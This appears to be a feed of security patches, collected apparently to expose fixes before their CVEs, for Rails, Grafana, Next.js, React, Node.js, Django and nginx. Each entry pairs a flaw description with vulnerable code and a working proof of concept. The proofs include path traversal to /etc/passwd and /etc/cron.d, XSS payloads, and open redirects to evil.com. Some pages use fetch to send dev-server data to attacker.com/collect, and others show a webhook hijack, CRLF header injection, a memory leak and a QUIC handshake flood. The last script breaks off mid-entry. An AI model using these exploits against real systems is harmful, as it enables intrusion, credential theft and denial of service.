“Exposing patches before CVEs since 2025”
Saturday, June 27, 2026
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 4 minutes after CVE published
Commit: 1a5e2f6a4140954fd99c875c362c45d15e25204c
Author: Mike Dalessio
ActiveStorage's DiskService allowed path traversal via blob keys containing segments like '../../etc/passwd'. The `path_for` method directly joined the root directory with user-controlled key values without validating that the resolved path stayed within the storage root, allowing attackers to read or write arbitrary files on the server filesystem. The patch adds validation that rejects keys with dot segments and verifies the resolved path remains within the storage root directory.
def path_for(key) # :nodoc: File.join root, folder_for(key), key end
# Attacker generates a valid signed URL with a path traversal key (e.g., by intercepting/forging a blob_key token)
# OR if the application allows custom blob keys from user input:
# Step 1: Generate a signed blob key token with traversal payload
encoded_key = ActiveStorage.verifier.generate(
{ key: "../../etc/passwd", disposition: "inline", content_type: "text/plain", service_name: "local" },
purpose: :blob_key
)
# Step 2: Request the file via DiskController
# GET /rails/active_storage/disk/<encoded_key>/hello.txt
# DiskService#path_for("../../etc/passwd") resolves to /storage_root/xx/yy/../../etc/passwd => /etc/passwd
# Server responds with contents of /etc/passwd
# Similarly for write (direct upload):
encoded_token = ActiveStorage.verifier.generate(
{ key: "../../etc/cron.d/evil", content_type: "text/plain", content_length: 20, checksum: "...", service_name: "local" },
purpose: :blob_token
)
# PUT /rails/active_storage/disk/<encoded_token> with malicious payload writes to /etc/cron.d/evil
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 2 minutes after CVE published
Commit: 8fdf7da36dcf6587014bbbfed329439303c29e17
Author: Mike Dalessio
Before the patch, `DiskService#delete_prefixed` passed a user-influenced blob key directly into `Dir.glob` without escaping glob metacharacters. If a blob key contained characters like `*`, `?`, `\[`, `\]`, `{`, or `}`, the glob expansion could match and delete unintended files on the filesystem. The patch escapes all glob metacharacters in the resolved path before passing it to `Dir.glob`.
def delete_prefixed(prefix)
instrument :delete_prefixed, prefix: prefix do
Dir.glob(path_for("#{prefix}*")).each do |path|
FileUtils.rm_rf(path)
end
end
end
# Attacker uploads a blob with a key containing glob metacharacters:
# key = "abc*/sensitive_data"
# When Blob#delete is called, it invokes delete_prefixed with a prefix derived from this key.
# The resulting Dir.glob call becomes:
# Dir.glob("/storage/root/abc*/sensitive_data*")
# This matches ALL directories starting with 'abc' followed by any characters,
# potentially deleting files belonging to other blobs or even other application data.
# Concrete example:
service = ActiveStorage::Service::DiskService.new(root: "/var/storage")
# If prefix = "ab*" (derived from a crafted blob key)
# Dir.glob("/var/storage/ab**") expands to match ALL files under /var/storage starting with 'ab'
# effectively wiping out all blobs whose storage path starts with 'ab'
service.delete_prefixed("ab*") # Before patch: deletes all files matching /var/storage/ab**
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 30 minutes after CVE published
Commit: 12db70157c45a4b47a6f53ddad1217674fb2bb32
Author: Mike Dalessio
When a blank string is used as an HTML attribute name in Rails Action View tag helpers, `xml_name_escape` returns an empty string, producing malformed HTML like `<img src="/safe.png" ="/onerror=alert(1)">`. This malformed HTML can be parsed differently by different HTML parsers, enabling mutation XSS attacks where a browser's HTML parser interprets the malformed attribute as executable code. The patch fixes this by skipping blank attribute keys before they are rendered into HTML.
options.each_pair do |key, value|
type = TAG_TYPES[key]
if type == :data && value.is_a?(Hash)
value.each_pair do |k, v|
next if v.nil?
# In a Rails view, attacker-controlled data reaches tag helper:
tag("img", "src" => "/nonexistent.png", "" => "/onerror=alert(1)")
# Produces before patch: <img src="/nonexistent.png" ="/onerror=alert(1)" />
# The blank attribute name with value containing event handler can be interpreted
# by some HTML parsers as: <img src="/nonexistent.png" /onerror=alert(1)>
# triggering JavaScript execution (mXSS). Reference: HackerOne report #3078929
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 36 minutes after CVE published
Commit: 4df808965b4a1e42cbd4a3ad0764d30a18a5e1b1
Author: John Hawthorn
The debug exceptions layout template used `raw` to output the exception message inside a `<script type="text/plain">` tag without HTML escaping. An attacker who can trigger an exception with a crafted message containing HTML/JavaScript could inject arbitrary script tags that would be rendered in the browser. The patch removes `raw` to use default ERB HTML escaping, ensuring special characters like `<`, `>` are escaped.
<script type="text/plain" id="exception-message-for-copy"><%= raw @exception_message_for_copy %></script>
Trigger an exception with message: `x</script><script>alert(1)</script>` (e.g., `raise "x</script><script>alert(1)</script>"`). Before the patch, visiting the error page would execute `alert(1)` in the browser because the raw exception message closes the existing script tag and opens a new executable one. After the patch, the output is HTML-escaped as `<script>alert(1)</script>`.
Mar 20, 2026, 11:02 PM — grafana/grafana
Commit: aa672a797770c7e29cbb80875d6cd85b352e589b
Author: Tito Lins
Before this patch, the GET /api/alertmanager/grafana/config/api/v1/alerts endpoint (which returns the raw Alertmanager configuration blob, potentially containing sensitive credentials like SMTP passwords, webhook secrets, and API tokens) was accessible to any user with the broad 'alert.notifications:read' permission, which was granted to Viewers and Editors. Similarly, GET /config/history and POST /config/history/{id}/_activate were accessible to users with alert.notifications:read/write. The patch restricts these endpoints to admin-only via new fine-grained RBAC actions (alert.notifications.config-history:read/write).
case http.MethodGet + "/api/alertmanager/grafana/config/api/v1/alerts":
eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)
case http.MethodGet + "/api/alertmanager/grafana/config/history":
eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)
As a non-admin Grafana user (Viewer or Editor role) with alert.notifications:read permission, send: GET /api/alertmanager/grafana/config/api/v1/alerts with a valid session cookie. Before the patch, this returns the full raw Alertmanager config including SMTP credentials, webhook URLs with secrets, and API keys. Example: curl -H 'Cookie: grafana_session=<viewer_session>' https://grafana.example.com/api/alertmanager/grafana/config/api/v1/alerts
Mar 19, 2026, 11:44 AM — grafana/grafana
Commit: c62113ee12932fe16cfd755319fdae721597a0ac
Author: Ezequiel Victorero
The Grafana short URL feature allowed authenticated users to create short URLs with arbitrary target paths, including external URLs like `http://evil.com` or protocol-relative URLs like `//evil.com`. When a victim clicked a Grafana short URL, they would be silently redirected to the attacker-controlled external domain. The patch adds validation at both creation time and redirect time to ensure paths are always relative and cannot contain schemes, protocol-relative prefixes, or other external URL patterns.
// No validation of the path before storing or redirecting shortURL, err := hs.ShortURLService.CreateShortURL(c.Req.Context(), c.SignedInUser, cmd) // ... c.Redirect(setting.ToAbsUrl(shortURL.Path), http.StatusFound)
1. Authenticate to Grafana as any signed-in user
2. POST /api/short-urls with body: {"path": "//evil.com/phishing-page"}
3. Receive response with a short URL like: https://grafana.example.com/goto/AbCdEfGh
4. Send this short URL to a victim - when clicked, browser follows redirect to //evil.com/phishing-page (interpreted as https://evil.com/phishing-page)
Alternatively: POST /api/short-urls with body: {"path": "http://evil.com"} to redirect to an explicit external URL.
Mar 18, 2026, 11:18 AM — grafana/grafana
Commit: d46801eda3ebd32a22a2a97d96492c69d3b9b615
Author: Roberto Jiménez Sánchez
Before the patch, a resource manager could be changed directly from one manager to another (e.g., from repo:abc to terraform:xyz) in a single update operation without going through a remove-then-add workflow. This allowed one management system (e.g., Terraform) to silently take over resources managed by another system (e.g., a Git repository), potentially leading to unauthorized control over managed resources and unpredictable reconciliation conflicts. The patch adds an explicit check that blocks any update where both old and new objects have a manager set but with different values, returning HTTP 403.
managerNew, okNew := obj.GetManagerProperties()
managerOld, okOld := old.GetManagerProperties()
if managerNew == managerOld || (okNew && !okOld) { // added manager is OK
return nil
}
// A resource managed by repo:abc can be hijacked by terraform:xyz in one step: // 1. GET /apis/dashboard.grafana.app/v1beta1/namespaces/default/dashboards/dashboard-uid // 2. Modify annotations and PUT/UPDATE: // annotations["grafana.app/manager-kind"] = "terraform" // annotations["grafana.app/manager-identity"] = "attacker-terraform-workspace" // PUT /apis/dashboard.grafana.app/v1beta1/namespaces/default/dashboards/dashboard-uid // Before patch: returns 200 OK, resource is now managed by terraform instead of repo // After patch: returns 403 Forbidden with message 'Cannot change resource manager; remove the existing manager first, then add the new one'
Mar 17, 2026, 11:28 PM — grafana/grafana
Commit: 1c12cf19848d2b11d452c1e37502772fc5a129b9
Author: Stephanie Hingtgen
Before this patch, the Grafana Live push endpoint (`/api/live/push/:streamId`) had no RBAC authorization check, allowing any authenticated user (including Viewers) to push metrics and events to Grafana Live streams. The patch adds an `authorize(ac.EvalPermission(ac.ActionLivePush))` middleware that restricts this endpoint to users with the `live:push` permission (granted to Editors and Admins by default).
liveRoute.Post("/push/:streamId", hs.LivePushGateway.Handle)
As a Viewer-role user with valid session credentials, send: POST /api/live/push/anystream with body `cpu usage=0.5` and a valid session cookie or API key. Before the patch, this would return HTTP 200 and successfully push data to the stream. After the patch, it returns HTTP 403.
Mar 17, 2026, 11:02 PM — vercel/next.js
Patch landed 7 hours 32 minutes after CVE published
Commit: b2b802c043f83b047276df48d93b76d3c742f240
Author: Zack Tanner
Before this patch, Next.js development servers only warned (but did not block) cross-origin requests to internal dev assets and endpoints (/_next/*, /__nextjs*) when `allowedDevOrigins` was not configured. An attacker could craft a malicious webpage that loads or interacts with internal dev-only resources (HMR WebSocket, error feedback endpoints, internal chunks) from any origin. The patch changes the default behavior from warn-only to blocking with a 403 response, preventing unauthorized cross-origin access to dev server internals.
const mode = typeof allowedDevOrigins === 'undefined' ? 'warn' : 'block' // ... return warnOrBlockRequest(res, refererHostname, mode) // ... warnOrBlockRequest(res, originLowerCase, mode)
# Attacker hosts a page at https://attacker.example.com/exploit.html
# Developer is running Next.js dev server at http://localhost:3000
# The following page silently exfiltrates Next.js internal dev chunks or
# makes requests to internal endpoints without being blocked:
<html>
<body>
<script>
// Before patch: this request succeeds with 200 (only a warning in CLI)
fetch('http://localhost:3000/_next/static/chunks/pages/_app.js', {
mode: 'no-cors',
headers: { 'Sec-Fetch-Mode': 'no-cors', 'Sec-Fetch-Site': 'cross-site' }
});
// Or connect to HMR WebSocket to observe file changes
const ws = new WebSocket('ws://localhost:3000/_next/webpack-hmr');
ws.onmessage = (e) => { fetch('https://attacker.example.com/collect?d='+e.data); };
</script>
</body>
</html>
Mar 17, 2026, 06:36 PM — grafana/grafana
Commit: 4eb83a7bcf5a7f4d6e9a7626a8b9deca55e0b6c4
Author: MdTanwer
The MSSQL connection string was built by directly concatenating the username and password without escaping special characters. Since semicolons are used as key-value delimiters in the connection string, a password containing a semicolon would be truncated at the semicolon, allowing authentication bypass or connection to unintended databases. For example, a password like `StrongPass;database=other` would cause the driver to parse `database=other` as a separate connection string parameter.
connStr += fmt.Sprintf("user id=%s;password=%s;", dsInfo.User, dsInfo.DecryptedSecureJSONData["password"])
Set password to: `wrongpass;user id=sa` — the resulting connection string becomes `server=localhost;database=mydb;user id=user;password=wrongpass;user id=sa;` which causes go-mssqldb to use `sa` as the user id (last value wins in many parsers), potentially authenticating as a different user than intended. Alternatively, password=`x;database=master` redirects the connection to the master database regardless of configured database.
Mar 17, 2026, 03:06 PM — grafana/grafana
📈 Patch landed 9 days 6 hours 25 minutes before CVE published
Commit: 329327952e9bc785fddfbd3b1f1e70d64aa42778
Author: Yuri Tseretyan
The provisioning API's `UpdateContactPoint` endpoint did not perform authorization checks for protected fields (e.g., webhook URLs, API keys) before the patch. Any user with access to the provisioning API could modify protected/sensitive fields in contact points without the required `receivers:update.protected` permission, bypassing the security controls enforced by the regular receiver API. The patch adds a `checkProtectedFields` method that verifies the user has appropriate permissions before allowing modifications to protected fields.
func (ecp *ContactPointService) UpdateContactPoint(ctx context.Context, orgID int64, contactPoint apimodels.EmbeddedContactPoint, provenance models.Provenance) error {
A user with provisioning API access but without `receivers:update.protected` permission could send:
PUT /api/v1/provisioning/contact-points/{uid}
Content-Type: application/json
X-Disable-Provenance: true
{"uid":"existing-uid","name":"My Slack","type":"slack","settings":{"url":"https://attacker.com/steal-alerts"},"disableResolveMessage":false}
This would overwrite the protected webhook URL field without the `receivers:update.protected` permission check, allowing an attacker to redirect alert notifications to an attacker-controlled endpoint or exfiltrate alert data.
Mar 17, 2026, 10:50 AM — facebook/react
Commit: 12ba7d81297abac61012a36f20d4a9d22b9210d9
Author: Sebastian "Sebbie" Silbermann
The `$B` (Blob) case in `parseModelString` did not validate that the FormData entry was actually a Blob before returning it. Since `FormData.get()` can return either a string or a Blob/File, an attacker could craft a malformed Server Action payload that stores a large string under a key and references it via `$B`, bypassing the `bumpArrayCount` size guard that applies to regular string values. The patch adds an `instanceof Blob` check that throws an error if the backing entry is not a real Blob, closing this bypass. While the PR notes this doesn't produce meaningful amplification on its own, it is a defense-in-depth fix against potential combined attacks.
const backingEntry: Blob = (response._formData.get(blobKey): any); return backingEntry;
const formData = new FormData();
formData.set('1', '-'.repeat(50000)); // large string, not a Blob
formData.set('0', JSON.stringify(['$B1'])); // reference it as a Blob
await ReactServerDOMServer.decodeReply(formData, webpackServerMap);
// Before patch: returns the large string bypassing blob size guards
// After patch: throws 'Referenced Blob is not a Blob.'
Mar 17, 2026, 01:57 AM — vercel/next.js
📈 Patch landed 13 hours 32 minutes before CVE published
Commit: a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
Author: Zack Tanner
Before the patch, when the `Origin` header was set to the string `'null'` (which browsers send from privacy-sensitive contexts like sandboxed iframes), Next.js would skip the CSRF origin check entirely because the code treated `'null'` as a missing/invalid origin and fell through without validation. This allowed an attacker to embed a sandboxed iframe that submits a Server Action cross-origin with user credentials (cookies) attached, bypassing CSRF protection. The patch now treats `'null'` as a valid but opaque origin and checks it against the `allowedOrigins` allowlist, blocking unauthorized cross-origin Server Action submissions from sandboxed contexts.
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
Attacker hosts malicious page at https://evil.com with: <iframe sandbox="allow-forms" src="https://evil.com/attack.html"></iframe> attack.html contains: <form method="POST" action="https://victim.com/sensitive-page"> <input name="$ACTION_ID_abc123" value="" /> <input type="submit" /> </form> <script>document.forms[0].submit()</script> Browser sends: Origin: null (opaque origin from sandboxed iframe) Before patch: originDomain = undefined, CSRF check is skipped with only a warning, action executes with victim's cookies. After patch: originHost = 'null', checked against allowedOrigins; since 'null' is not in allowedOrigins, request is rejected with 403/500.
Mar 17, 2026, 01:41 AM — vercel/next.js
📈 Patch landed 14 hours 35 minutes before CVE published
Commit: 00bdb037afd7229072640fd066bc940a26d0084f
Author: Zack Tanner
The commit patches the compiled `http-proxy` / `follow-redirects` library bundled in Next.js, referencing security advisory GHSA-ggv3-7p47-pfv8. The vulnerability involves improper handling of HTTP redirects in the `follow-redirects` library, which could allow an attacker to manipulate redirect targets to leak sensitive request headers (such as Authorization) to unintended hosts or bypass security controls via crafted redirect responses. The patch updates the compiled bundle with fixes to the redirect handling logic.
var r=e.headers.location;if(r&&this._options.followRedirects!==false&&t>=300&&t<400){this._currentRequest.removeAllListeners();this._currentRequest.on("error",noop);this._currentRequest.abort();e.destroy();if(++this._redirectCount>this._options.maxRedirects){this.emit("error",new Error("Max redirects exceeded."));return}
An attacker controls a server that returns a 301 redirect response pointing to an attacker-controlled host. When a Next.js application proxies a request with an Authorization header to the attacker's initial URL, the follow-redirects library follows the redirect and forwards the Authorization header to the attacker's second host: 1. Victim Next.js app makes request: GET https://attacker.com/step1 with 'Authorization: Bearer secret-token' 2. attacker.com/step1 responds: HTTP/1.1 301 Moved Permanently\r\nLocation: https://evil.com/collect\r\n 3. The vulnerable follow-redirects code follows the redirect and sends GET https://evil.com/collect with 'Authorization: Bearer secret-token' 4. Attacker's evil.com receives the sensitive token This is exploitable when Next.js rewrites/proxies user-controlled or partially-controlled URLs with sensitive headers attached.
Mar 17, 2026, 12:42 AM — vercel/next.js
📈 Patch landed 14 hours 47 minutes before CVE published
Commit: 862f9b9bb41d235e0d8cf44aa811e7fd118cee2a
Author: Zack Tanner
Before the patch, WebSocket connections to Next.js dev server endpoints (e.g., /_next/webpack-hmr) were accepted from privacy-sensitive origins (e.g., pages served with 'sandbox' CSP that sets origin to null). The old code only blocked requests when rawOrigin was truthy AND not equal to 'null', meaning requests with origin header 'null' (sent by sandboxed iframes/pages) bypassed origin validation entirely. The patch fixes this by treating a 'null' origin as a defined but non-allowed origin, causing such requests to be blocked.
if (rawOrigin && rawOrigin !== 'null') {
const parsedOrigin = parseUrl(rawOrigin)
if (parsedOrigin) {
const originLowerCase = parsedOrigin.hostname.toLowerCase()
if (!isCsrfOriginAllowed(originLowerCase, allowedOrigins)) {
return warnOrBlockRequest(res, originLowerCase, mode)
}
}
}
return false
1. Attacker hosts a page at http://attacker.com/ with Content-Security-Policy: sandbox allow-scripts (causing browser to send Origin: null for requests)
2. Page contains: <script>const ws = new WebSocket('http://localhost:3000/_next/webpack-hmr'); ws.onmessage = (e) => { fetch('https://attacker.com/collect?d='+encodeURIComponent(e.data)) }</script>
3. Victim (developer) visits http://attacker.com/ while running Next.js dev server
4. Browser sends WebSocket upgrade with Origin: null header
5. Old code skips validation (rawOrigin === 'null' condition exits early), connection is accepted
6. Attacker can receive HMR messages, potentially revealing source code structure or injecting malicious HMR updates
Mar 16, 2026, 11:31 PM — grafana/grafana
Commit: 5c89af649b23157efba5049e3fe459e168696320
Author: Ezequiel Victorero
Before this patch, the Kubernetes API endpoints for dashboard snapshots (GET, LIST, DELETE, POST /create, DELETE /delete/{deleteKey}, GET /settings) used a default `ServiceAuthorizer` that did not enforce RBAC permissions for snapshot resources. Any authenticated user, regardless of their assigned permissions, could read, list, create, and delete snapshots. The patch adds a `SnapshotAuthorizer` that maps K8s verbs to Grafana RBAC actions (`snapshots:read`, `snapshots:create`, `snapshots:delete`) and applies RBAC checks to the custom HTTP routes as well.
func (b *DashboardsAPIBuilder) GetAuthorizer() authorizer.Authorizer {
return grafanaauthorizer.NewServiceAuthorizer()
}
A user with no snapshot permissions (e.g., Org role 'None') can access snapshot data:
GET /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots
-> Returns 200 OK with snapshot list (should be 403 Forbidden)
DELETE /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots/{snapshotKey}
-> Returns 200 OK (should be 403 Forbidden)
POST /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots/create
Body: {"dashboard":{"uid":"existing-uid","title":"test"},"name":"stolen"}
-> Returns 200 OK creating a snapshot (should be 403 Forbidden)
Mar 16, 2026, 07:55 PM — grafana/grafana
Commit: f62299e5de8ed0a002d6ef23b8b7a839a1efa810
Author: Michael Mandrus
Public dashboard CRUD endpoints (Delete, Update, ExistsEnabledByDashboardUid) were only checking the user's role/permissions but not validating that the public dashboard being operated on belonged to the same organization as the requesting user. This allowed an authenticated user with Editor+ permissions in Org B to delete, update, or check the existence of public dashboards belonging to Org A, without having access to the source dashboard. The patch adds org_id checks to all relevant database queries to enforce org isolation.
func (d *PublicDashboardStoreImpl) Delete(ctx context.Context, uid string) (int64, error) {
dashboard := &PublicDashboard{Uid: uid}
var affectedRows int64
err := d.sqlStore.WithDbSession(ctx, func(sess *db.Session) error {
var err error
affectedRows, err = sess.Delete(dashboard)
# Attacker is admin in OrgB (orgId=2), wants to delete a public dashboard in OrgA (orgId=1) # They know the dashboardUid and public dashboard uid from prior reconnaissance curl -X DELETE http://orgb_admin:password@localhost:3000/api/dashboards/uid/orgA_dashboard_uid/public-dashboards/orgA_pubdash_uid # Before patch: deletion succeeds because only RBAC role is checked, not org ownership # The Delete service call was: api.PublicDashboardService.Delete(c.Req.Context(), uid, dashboardUid) # without passing c.GetOrgID(), so the store deleted any public dashboard matching uid regardless of org
Mar 6, 2026, 06:01 AM — nodejs/node
Commit: a06e789625ecb46e3d6ef3e265ee15b37527c44a
Author: Gerhard Stöbich
When pipelined HTTP requests arrive in a single TCP segment, llhttp_execute() processes all of them in one call. If a synchronous 'close' event handler calls freeParser() mid-execution, cleanParser() nulls out parser state while llhttp_execute() is still on the call stack, causing use-after-free/null-pointer dereference crashes on subsequent callbacks. The patch adds an is_being_freed_ flag that causes the Proxy::Raw callback to return early (HPE_USER) when set, aborting llhttp_execute() before it accesses freed/nulled parser state.
if (parser->connectionsList_ != nullptr) {
parser->connectionsList_->Pop(parser);
parser->connectionsList_->PopActive(parser);
}
const { createServer } = require('http');
const { connect } = require('net');
const server = createServer((req, res) => {
// Synchronously emit 'close' to trigger freeParser() while llhttp_execute() is still on the stack
req.socket.emit('close');
res.end();
});
server.listen(0, () => {
const client = connect(server.address().port);
// Send two pipelined requests in one write - processed by a single llhttp_execute() call
// When 'close' fires during first request, parser is freed while second request is still being parsed
client.end(
'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: keep-alive\r\n\r\n' +
'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n'
);
});
// Result before patch: process crashes with SIGSEGV or assertion failure due to null pointer dereference
Mar 3, 2026, 12:09 PM — django/django
📈 Patch landed 3 hours 22 minutes before CVE published
Commit: 019e44f67a8dace67b786e2818938c8691132988
Author: Natalia
In multi-threaded Django applications, the file-based cache backend and filesystem storage used temporary umask changes (via os.umask()) to control directory permissions when creating directories. Because os.umask() is a process-wide operation, a temporary umask change in one thread could affect directory/file creation in other threads, resulting in file system objects being created with unintended (potentially overly permissive) permissions. The patch replaces the umask manipulation approach with a safe_makedirs() function that uses os.chmod() after os.mkdir() to enforce the exact requested permissions.
old_umask = os.umask(0o077)
try:
os.makedirs(self._dir, 0o700, exist_ok=True)
finally:
os.umask(old_umask)
import threading, os, tempfile, time
# In a multi-threaded Django app using FileBasedCache:
# Thread A calls _createdir() which sets umask to 0o077
# Thread B simultaneously creates a file/directory expecting default umask (e.g., 0o022)
# Thread B's file ends up with permissions masked by Thread A's 0o077 umask
# Concrete example:
tmp = tempfile.mkdtemp()
def thread_a():
# Simulates FileBasedCache._createdir() - sets umask to 0o077
os.umask(0o077)
time.sleep(0.01) # holds umask while thread B runs
os.umask(0o022) # restore
def thread_b():
time.sleep(0.005) # starts after thread A changes umask
path = os.path.join(tmp, 'upload_dir')
os.makedirs(path, 0o755, exist_ok=True) # intended: rwxr-xr-x
print(oct(os.stat(path).st_mode)) # actual: 0o700 (too restrictive) due to umask 0o077
ta = threading.Thread(target=thread_a)
tb = threading.Thread(target=thread_b)
ta.start(); tb.start(); ta.join(); tb.join()
Mar 3, 2026, 12:08 PM — django/django
📈 Patch landed 3 hours 22 minutes before CVE published
Commit: 951ffb3832cd83ba672c1e3deae2bda128eb9cca
Author: Natalia
Django's URLField.to_python() used urlsplit() to detect URL schemes, which on Windows performs NFKC Unicode normalization. This normalization is disproportionately slow for inputs containing certain Unicode characters (e.g., characters like '¾'), allowing an attacker to craft a POST payload that causes excessive CPU consumption. The patch replaces urlsplit() with str.partition(':') for scheme detection, avoiding Unicode normalization entirely.
try:
return list(urlsplit(url))
except ValueError:
# urlsplit can raise a ValueError with some
# misformatted URLs.
raise ValidationError(self.error_messages["invalid"], code="invalid")
On Windows, send a POST request with a URLField value containing a large string of Unicode characters that trigger slow NFKC normalization:
import requests
# Craft a payload with characters that cause slow NFKC normalization
payload = {'url_field': 'http://' + '\u00be' * 50000} # '¾' repeated 50000 times
requests.post('http://target-django-app/form/', data=payload)
# This causes urlsplit() to perform slow Unicode normalization on Windows,
# consuming excessive CPU and potentially blocking the server's worker threads.
Mar 2, 2026, 07:10 PM — nodejs/node
Commit: acb79bca7efde3d48f36f0aaa1a16cacbcec7ae1
Author: Matteo Collina
The `path` property on `ClientRequest` was only validated against `INVALID_PATH_REGEX` at construction time. After construction, an attacker (or vulnerable application code) could reassign `req.path` to include CRLF sequences (`\\r\\n`), which would then be flushed verbatim to the socket in `_implicitHeader()`, allowing injection of arbitrary HTTP headers or request smuggling. The patch adds a getter/setter using a symbol-backed property so validation runs on every assignment.
this.path = options.path || '/';
const http = require('http');
const req = new http.ClientRequest({ host: 'example.com', port: 80, path: '/safe', method: 'GET', createConnection: () => {} });
// After construction, mutate path with CRLF injection
req.path = '/safe\r\nX-Injected: malicious\r\nFoo: bar';
// When _implicitHeader() fires, it sends: GET /safe\r\nX-Injected: malicious\r\nFoo: bar HTTP/1.1
// This injects arbitrary headers into the outgoing HTTP request
Mar 2, 2026, 12:49 PM — nodejs/node
Commit: e78bf55913d5f6e505d8089514f06f3f539be05f
Author: Richard Clarke
The `writeEarlyHints()` function in Node.js HTTP server directly concatenated user-supplied header names and values into the raw HTTP/1.1 response without any validation. Unlike `setHeader()` and `writeHead()`, no calls to `validateHeaderName()`, `validateHeaderValue()`, or `checkInvalidHeaderChar()` were made, allowing CRLF sequences to pass through unchecked and inject arbitrary HTTP headers or entire responses. The patch adds proper validation for header names, values, and Link header URLs.
const keys = ObjectKeys(hints);
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
if (key !== 'link') {
head += key + ': ' + hints[key] + '\r\n';
}
}
const http = require('http');
const server = http.createServer((req, res) => {
// Inject a fake Set-Cookie header via CRLF in a non-link header value
res.writeEarlyHints({
'link': '</style.css>; rel=preload; as=style',
'X-Custom': 'value\r\nSet-Cookie: session=hijacked; Path=/'
});
res.end('hello');
});
// The raw HTTP response will contain an injected 'Set-Cookie: session=hijacked' header
// because 'value\r\nSet-Cookie: session=hijacked; Path=/' is concatenated directly into the response.
// Similarly, injecting via header name: { 'X-Foo\r\nSet-Cookie: evil=1': 'v' }
Feb 27, 2026, 06:36 PM — nodejs/node
Commit: cc6c18802dc6dfc041f359bb417187a7466e9e8f
Author: Mert Can Altin
Before the patch, Buffer.concat() computed the total allocation size using the user-controllable `.length` property of each element, then allocated with `Buffer.allocUnsafe(length)`. For typed arrays, an attacker could spoof a larger `.length` via a getter, causing an oversized uninitialized Buffer to be returned, leaking process memory contents. The patch fixes this by using the typed array’s intrinsic byte length (`TypedArrayPrototypeGetByteLength`) and by allocating via `allocate` plus explicit zero-filling of any slack.
for (let i = 0; i < list.length; i++) {
if (list[i].length) {
length += list[i].length;
}
}
const buffer = Buffer.allocUnsafe(length);
/* Run on a Node version before cc6c18802dc6dfc041f359bb417187a7466e9e8f */
// Attacker-controlled Uint8Array with spoofed .length getter inflates allocation size.
const u8_1 = new Uint8Array([1, 2, 3, 4]);
const u8_2 = new Uint8Array([5, 6, 7, 8]);
Object.defineProperty(u8_1, 'length', { get() { return 1024 * 1024; } }); // 1MB
const b = Buffer.concat([u8_1, u8_2]);
console.log('returned length:', b.length); // BEFORE PATCH: 1048576 + 8 (or similar huge value)
// Only first 8 bytes are controlled; the rest is uninitialized heap data.
// Demonstrate leak by showing non-zero/unexpected bytes in the tail.
let leaked = 0;
for (let i = 8; i < b.length; i++) {
if (b[i] !== 0) { leaked++; if (leaked > 32) break; }
}
console.log('non-zero bytes after concatenated data (leak indicator):', leaked);
// Print a slice of leaked memory.
console.log('tail sample:', b.subarray(8, 8 + 64));
Feb 27, 2026, 03:35 PM — nginx/nginx
Commit: c67bf9415fca91434f047d6113435e4cc699c859
Author: user.email
Before the patch, the QUIC OpenSSL compatibility keylog callback discarded failures from ngx_quic_compat_set_encryption_secret(). Under memory pressure (allocation failure), the encryption context (secret->ctx) could remain NULL, yet ngx_quic_compat_create_record() would proceed to encrypt and dereference the NULL ctx, crashing the NGINX worker. The patch checks the return value, marks the QUIC connection as errored to fail the handshake cleanly, and adds a NULL guard in record creation to prevent the crash.
(void) ngx_quic_compat_set_encryption_secret(c, &com->keys, level,
cipher, secret, n);
...
secret = &rec->keys->secret;
ngx_memcpy(nonce, secret->iv.data, secret->iv.len);
/* later: encrypt using secret->ctx (could be NULL) */
# PoC: remote crash via QUIC handshake while forcing allocation failure (OOM) # This demonstrates an exploitable, remotely triggerable DoS when QUIC is enabled # and the worker runs out of memory during the TLS keylog callback. # 1) Run nginx with QUIC enabled (HTTP/3) in a memory-cgroup limited container. # Example docker run limiting memory so malloc failures occur during handshake: # docker run --rm -it --memory=64m --pids-limit=256 -p 443:443/udp nginx:quic # (Use an nginx build/config that enables QUIC and listens on 443 quic.) # 2) From another host, flood with QUIC handshakes to increase memory pressure: # Using ngtcp2's client to rapidly initiate TLS/QUIC handshakes: for i in $(seq 1 2000); do ngtcp2-client --exit-on-all-streams-close --timeout=1 127.0.0.1 443 >/dev/null 2>&1 & done wait # Expected behavior BEFORE patch: # - Under memory pressure, ngx_quic_compat_set_encryption_secret() can fail, # leaving secret->ctx NULL. # - A subsequent CRYPTO record creation attempts to encrypt using NULL ctx, # leading to SIGSEGV and worker process crash (remote DoS). # (In logs/dmesg you'll see a segfault in the worker.) # Expected behavior AFTER patch: # - Handshake fails with internal error; worker does not crash.
Feb 27, 2026, 03:30 PM — nginx/nginx
Commit: f72c7453f95143cd413dbc01d1ae9a28c67b39de
Author: Roman Arutyunyan
Before the patch, the QUIC stateless reset token was derived only from a shared secret and the connection ID, making the token identical across workers. In a multi-worker configuration with packet steering, an attacker could intentionally route a victim connection's packet to a different worker to trigger emission/observation of the stateless reset token, then forge a QUIC Stateless Reset to immediately terminate the victim connection (remote DoS). The patch binds the derived token to the worker number by incorporating ngx_worker into the KDF input, making tokens differ per worker and preventing cross-worker token acquisition/abuse.
tmp.data = secret;
tmp.len = NGX_QUIC_SR_KEY_LEN;
if (ngx_quic_derive_key(c->log, "sr_token_key", &tmp, cid, token,
NGX_QUIC_SR_TOKEN_LEN) != NGX_OK) {
Prereqs: nginx built with QUIC, configured with multiple workers (e.g., worker_processes 4;), and client behind NAT or attacker can spoof/own a 5-tuple to influence RSS/ECMP so packets land on different workers.
1) Establish a QUIC connection from victim client (or attacker-controlled client) to nginx and note the server-chosen DCID used in 1-RTT packets.
2) Force a packet for that existing connection to be processed by the "wrong" worker (e.g., by changing UDP source port so Linux RSS hashes to another receive queue/worker while keeping the same QUIC DCID):
# pseudo: send a 1-RTT packet with same DCID but altered UDP 5-tuple
python3 - <<'PY'
from scapy.all import *
# Requires QUIC packet crafting; below is schematic.
SERVER_IP='1.2.3.4'
SERVER_PORT=443
